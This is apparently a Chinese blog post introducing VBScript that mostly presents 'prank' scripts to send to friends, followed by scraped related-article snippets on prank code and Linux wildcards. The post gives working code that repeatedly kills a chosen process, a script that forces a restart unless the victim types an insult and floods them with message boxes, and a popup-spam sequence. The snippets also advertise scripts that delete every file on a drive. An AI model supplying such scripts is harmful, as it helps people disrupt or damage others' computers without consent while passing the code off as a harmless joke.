vbs介绍与常见整人代码

article/2025/9/23 21:16:18

vbs代码


什么是vbs

在生活中我们有时候会收到朋友发来的一个奇怪的文件,点开之后一直有弹窗怎么关闭都没用,最后只能调用任务管理器才"大功告成",这其实就是一个vbs小程序。你的朋友只是仅仅和你开一个玩笑,你可不要小瞧它,它可是可以直接破环你的电脑系统,关机,重启也不过是“小技俩”。

VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition,简称为VBScript,文件的后缀是.vbs,如果你看到一个红蓝绿的小盒子,没错,就是它了。


vbs的编译

如此具有破坏性的vbs它的编译条件确十分简单,不需要安装任何工具,只要我们启动电脑打开记事本,随时随地便可以编译一个vbs程序,下面我们来创建一个简单vbs程序

在桌面创建一个文本文档

输入以下代码:

`name=Inputbox("请输入名字:")``Msgbox(name)`

修改后缀为vbs保存到桌面

效果如下:

在这里插入图片描述

在这里插入图片描述

这只是一个最简单的程序,vbs的用途不只于此!

vbs的用法

  1. 计算
  2. 处理文件和文件夹
  3. 管理Windows
  4. 处理Word, Excel, PowerPoint等Office文档
  5. 嵌入网页,驱动dHTML
  6. 编写HTTP通信
  7. 调用系统功能(COM组件),比如说语音说话
  8. 分析HTML, XML
  9. 调用命令行并分析返回结果
  10. 处理图片
  11. 自动化按键
  12. 调用Windows Media Player并管理
  13. 调用Windows Live Messenger并管理
  14. 服务端技术:Active Server Page (ASP)
  15. 脚本病毒
  16. 处理数据库

这里我简单介绍两个功能:

管理window系统

我们可以编译一个vbs程序控制来控制某个应用

创建.vbs后缀文件输入以下代码:

On Error Resume Next Dim bag,pipe,honker,good Do good="." set bag=getobject("winmgmts:\\"& good &"\root\cimv2") set pipe=bag.execquery("select * from win32_process where name='?.exe'")for each i in pipei.terminate() next wscript.sleep 5loop 

修改代码中“?.exe”为你要测试的应用程序的地址,例如"WeChat.exe",启动程序,你可以点击微信的图像,发现微信已经被禁止启动了,如果你想要终止,在任务管理器进程中找到Script.exe结束任务即可。

在这里插入图片描述

脚本病毒

操作同上,代码如下:

示例一:

set ws=createobject("wscript.shell")call shutdown(1)do while a<>"我是猪"a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪"" ","输不输","")loopcall shutdown(2)msgbox "早说就行了嘛",4096+64msgbox"再输一遍我是猪!",4096+64msgbox"我是猪!",4096+64MsgBox"最后一次!",4096+64MsgBox"如果你很快的点过去,不看的话",4096+64MsgBox"我就要你踩我空间的!哼!",4096+64MsgBox"从前有座山!",4096+64MsgBox"山里有个庙.",4096+64MsgBox"庙里有个老和尚在讲故事.",4096+64ws.run"iexplore.exe http://tieba.baidu.com/f?kw=%C9%BD%C0%ED%D6%B0%D4%BA"msgbox"哎呀累了!数绵羊哄我睡觉",4096+64for i=1 to 100MsgBox i&"只绵羊",4096+64nextmsgbox"哎呀我困了,这次就饶过你吧,下次注意哦!",4096+64msgbox"最后问个问题,我是不是大好人!",4096+64if inputbox("是不是","请选择","是")<>"是" thencall shutdown(1)end ifsub shutdown(s)select case scase 1ws.run"cmd.exe /c shutdown -r -t 60 -c",0case 2ws.run"cmd.exe /c shutdown -a",0end selectend sub 

在其中有一个for循环,我设置的为100次,可以自行修改循环次数(善良的你会怎么做呢)

实例二:

WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉")WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSNaPEe)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉,这你都不知道吗?")WScript.Echo("怎么才来,说~是不是不关心我")WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。")WScript.Echo("小强很生气,后果很严重哦。")WScript.Echo("嘿嘿!你也会很惨滴哦")WScript.Echo("是不是想清除我?")WScript.Echo("那你要点上50下哦,不过会给你惊喜滴")WScript.Echo("还剩49下,快点点哦")WScript.Echo("还剩48下,快点,小笨蛋!")WScript.Echo("还剩47下对,就这样快点点!")WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。")WScript.Echo("还剩45下,记得要快哦!")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停!!!慢点,我有话要说")WScript.Echo("还剩12下,你继续点我就会消失滴")WScript.Echo("还剩11下,以后就看不到我拉。555555")WScript.Echo("还剩10下,你现在可以选择停止!")WScript.Echo("还剩9下。你还点啊,不要我拉?")WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家")WScript.Echo("还剩7下。疯了,你有点负意!")WScript.Echo("还剩6下。对。你就点吧,我恨你!")WScript.Echo("还剩5下,不明白,删除我你就好吗?")WScript.Echo("还剩4下!真要删除我?")WScript.Echo("还剩3下。可是我真的很眷恋你。。。")WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!")WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!")WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")WScript.Echo("想结素我么?那你就再多点一次")

关机设置:

shut -s -t 时间

时间可以自行设置,当时间为0,直接关机,可以用shutdown -a 命令取消。


vbs的病毒分析防范

一般情况下只要下载杀毒软件都可以识别删除,不过我尝试过火绒似乎无法防范,具体操作,附上链接

http://blog.csdn.net/menuconfig/article/details/1827158


如果想要了解更多vbs,可以在菜鸟教程,W3school上学习

菜鸟教程: http://www.runoob.com/vbscript/vbscript-tutorial.html

Wschool: http://www.w3school.com.cn/vbscript/index.asp


http://chatgpt.dhexx.cn/article/5mp1A4ZL.shtml

相关文章

vbs整人小脚本(搞笑)

不用百度了哦&#xff0c;我给你整理出来了几个 出了事情我不负责 大多都是在记事本中做的&#xff0c;保存的时候在后面写 。vbs 就ok 里面的文字可以改的嘛 改你想对他/她说的话啊 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就…

[144]如何用VBS编写一个简单的恶搞脚本

windows系统的电脑&#xff0c; 首先右击桌面&#xff0c;选择新建-文本文档&#xff0c;在桌面上新建一个文本文档&#xff1b; 随后打开计算机或者是我的电脑&#xff0c;点击其中的组织&#xff08;xp系统多为工具&#xff09;&#xff0c;选择下面的文件夹和搜索选项 …

vbs整人代码大集合(多年以来的整合)

博客超链接首页博客超链接资源 vbs整人代码大集合/不要乱使用&#xff01; 前言一、删除D:\所有文件二、不断弹出窗口三、不断按下altf4 &#xff08;开什么都关闭……&#xff09;四、按999次回车五、关不掉的窗口总结 前言 作为一个真正的程序员,首先应该尊重编程,热爱你所写…

超好玩的vbs代码 (恶作剧代码)

VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版&#xff09;&#xff0c;即 Visual Basic脚本语言&#xff0c;有时也被缩写为VBS。它是一种微软环境下的轻量级的解释型语言&#xff0c;它使用COM组件、WMI、WSH、ADSI访问系统中的元素&#xff0c;对系统进行管…

整人VBS\BAT代码 ② 整蛊系列→可参考

大家好&#xff0c;我是MouBai00001&#xff0c;刚入站不久的孟新。当你在现实生活中被整&#xff0c;你会有怎样的想法呢&#xff1f; 当你在和朋友在一个Wifi里打电脑游戏时&#xff0c;被你的朋友坑&#xff0c;下面就教大家如何以牙还牙&#xff08;好像营销号&#xff09;…

vbs整人代码,表白+提醒 两段代码就OK

在沉闷的工作环境下&#xff0c;有时玩玩整人代码也不错&#xff0c;整人代码一般使用VBS脚本来实现&#xff0c;简单的两行代码就可以实现表白提醒了&#xff0c;不过大家也要警惕VBS脚本的危险性&#xff0c;下面小编分享的只是整人简单脚本&#xff0c;大家可以随便玩&#…

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合&#xff0c;收集的比较全&#xff0c;喜欢的朋友可以参考下。不要搞破坏&#xff0c;学习vbs的朋友非常有帮助&#xff0c;死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到…

linux 通配符与特殊符号

通配符 符号意义*代表0到任意个字符&#xff1f;代表一定有一个字符[]代表括号内的字符一定有一个存在[-]代表编码顺序内的所有字符&#xff0c;例如[0-9]代表0-9内的所有字符[^]反向意思&#xff0c;比如[^0-9]&#xff0c;代表非0-9 操作&#xff1a; 特殊符号 符号意义…

【Linux】通配符及正则表达式grep、sed

1. 通配符 1.1 通配符简介 通配符是一种特殊语句&#xff0c;主要有星号(*)、问号(?)等表示&#xff0c;用来模糊搜索文件&#xff0c;当查找目录或文件时&#xff0c;可以使用通配符来代替一个或多个真正字符。 作用范围&#xff1a;目录和文件名。 常见通配符&#xff1…

Linux 通配符与三种引号

今天继续给大家介绍Linux基础知识&#xff0c;本文主要内容是Linux通配符和三种引号。 一、Linux通配符 &#xff08;一&#xff09;常见的Linux通配符 Linux通配符主要用户模糊查找文件&#xff0c;常用的Linux通配符如下表所示&#xff1a; 名称作用*可以匹配任意数量任意…

Linux通配符、转义符讲解

目录 通配符 通过通配符定义匹配条件 转义符 将所有的逻辑操作符都转换成字符 通配符 通过通配符定义匹配条件 * 任意字符都可以通配&#xff08;也可以匹配空值&#xff09; &#xff1f; 匹配单个字符 [a-z] 匹配单个的小写英文字母 [A-Z] 匹配单个的大写英文…

【Linux】重定向与通配符

目录 一.输入输出重定向输出重定向概念小试牛刀 输入重定向一切皆文件 二.命令行的通配符星号&#xff08;*&#xff09;问号&#xff08;?&#xff09;中括号[]大括号{} 一.输入输出重定向 输入重定向&#xff1a;把文件导入到命令中。 输出重定向&#xff1a;指把原本要输出…

linux命令中的通配符

本小节将介绍一些Linux一个非常实用且出现频率较高的功能&#xff0c;linux通配符&#xff0c;并简述通配符和正则的区别&#xff0c;作为我的CSDN专栏《系统学习Linux命令》的一篇。 前面的章节提到&#xff0c;如果想要一次性删除很多的文件&#xff0c;这个时候就需要使用到…

shell中通配符的使用

shell中的通配符与正则表达式是不同的两种功能。 正则表达式一般不会在bash直接应用&#xff0c;需要使用sed、grep、awk来解释正则表达式。 通配符则可以通过bash直接解释&#xff0c;一般用作名称展开。 bash中可以使用的通配符符号包括&#xff1a;*、?、{}、[]、^ 这些…

linux—通配符详解及总结

本博客主要详解关于linux中常使用的通配符的知识点&#xff0c;主要分为三个步骤&#xff1a; 通配符 *&#xff0c;&#xff1f;和【】【^】的详细解释举例截图说明个人的总结理解 一&#xff1a;通配符 *&#xff0c;&#xff1f;和【】【^】的详细解释 ps&#xff1a;因为…

Linux之通配符、引号的使用

目录 Linux之通配符、引号的使用 通配符 定义 范围 用法及含义 案例 引号使用 案例 Linux之通配符、引号的使用 通配符 定义 通配符是一种特殊语句&#xff0c;主要有星号(*)、问号(?)等表示&#xff0c;用来模糊搜索文件&#xff0c;当查找目录或文件时&#xff0c;…

bash之通配符

为什么要写这篇文章 我相信很多人和我一样&#xff0c;天天在使用linux的shell命令&#xff0c;也大概知道有通配符这么个概念&#xff0c;不过比较模糊。平时也会使用简单的通配符&#xff0c;也许还知道有正则表达式的存在&#xff0c;甚至不清楚两者的区别&#xff0c;往往…

10.linux通配符

一&#xff0c;linux通配符及正则表达式 通配符&#xff1a;用于文件名匹配&#xff0c;是由shell解析&#xff0c;如find&#xff0c;ls&#xff0c;cp&#xff0c;mv。 *&#xff1a;匹配任意长度的任意字符 &#xff1f;匹配任意单个字符 [ ]匹配指定范围内任意单个字符 […

Linux之通配符

一 Linux命令的共通知识点 1.通配符的使用 通配符&#xff1a;又叫文件名替换符号&#xff0c;符号具备特殊含义&#xff0c;例如&#xff1a;文件名&#xff1a;test&#xff0c;通配符可以写成???或者* *&#xff1a;代表可以匹配任意长度的文件名&#xff08;all所有&am…

Linux详解:通配符

Linux是一款开源操作系统&#xff0c;其灵活性和可定制性一直受到开发者的喜爱和追捧。而且&#xff0c;Linux在文件管理方面提供了丰富的功能&#xff0c;例如通配符&#xff0c;它是一种用于匹配文件名的特殊字符。通配符在Linux中可以帮助我们更加方便和快捷地查找和操作文件…